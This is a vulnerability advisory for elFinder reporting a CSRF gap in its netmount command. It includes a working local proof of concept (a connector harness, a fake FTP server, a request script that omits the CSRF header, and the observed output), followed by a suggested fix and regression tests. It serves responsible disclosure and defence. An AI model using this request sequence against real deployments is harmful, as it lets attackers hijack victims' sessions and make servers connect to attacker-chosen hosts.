elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"[email protected]","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)